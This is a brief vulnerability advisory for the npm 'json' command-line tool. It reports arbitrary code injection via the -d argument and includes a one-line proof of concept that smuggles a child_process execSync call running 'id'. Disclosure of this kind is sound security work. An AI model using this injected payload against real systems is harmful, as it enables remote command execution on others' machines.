vulnerability arbitrary code injection
severity 8.1
language javascript
registry npm

✍️ Description

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the -d argument.

🕵️‍♂️ Proof of Concept

curl -sL 'https://api.github.com/repos/joyent/node/issues?state=open' | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'

💥 Impact

This vulnerability is capable of injecting arbitrary commands, which leads to RCE.